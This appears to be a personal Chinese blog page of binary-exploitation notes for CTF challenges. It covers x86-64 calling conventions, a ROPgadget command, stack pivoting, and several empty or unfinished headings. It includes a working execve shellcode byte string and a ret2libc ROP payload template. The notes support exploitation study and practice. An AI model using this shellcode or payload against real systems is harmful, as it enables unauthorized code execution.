#

# 传参

# 64 位

参数 寄存器
1 rdi
2 rsi
3 rdx
4 rcx
5 r8
6 r9
7+ 从右向左压入栈中

# ROPgadget

ROPgadget --binary pwn --only 'pop|ret'

# shellcode

64 位

shellcode = b"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

# ret2libc

# 64 位

写 system 和 binsh 时可能需要在前面加 ret

payload = offset * b'a' + p64(ret) + p64(prdi) + p64(bs_a) + p64(sys_a)

# 栈迁移

栈迁移大致在以下情况使用:

  • 栈空间太小不足以用来攻击
  • 为了利用缓冲区溢出攻击某些地址(待验证)
  • 迁移至.bss 段上确保权限足够

函数返回时将栈中旧 ebp 弹入 ebp 寄存器,而对旧 ebp 进行伪造可以将栈底迁移至构造的 fake_stage,再次利用 ROP 执行 leave, ret 可以将 ebp 弹入 esp,实现完整的栈迁移。

# ret2dlresolve

# 汇编

lea eax, [addr]	//将addr的

# 全局变量位置

# libc.so

  • main_arena : 存放各种 bin 的头
  • _IO_list_all :

# 程序

  • fini_array

#

  • tcache 存放 tcache bin
  • _IO_FILE_plus : fopen 打开的文件
更新于

请我喝[茶]~( ̄▽ ̄)~*

Walt CSZ 微信支付

微信支付

Walt CSZ 支付宝

支付宝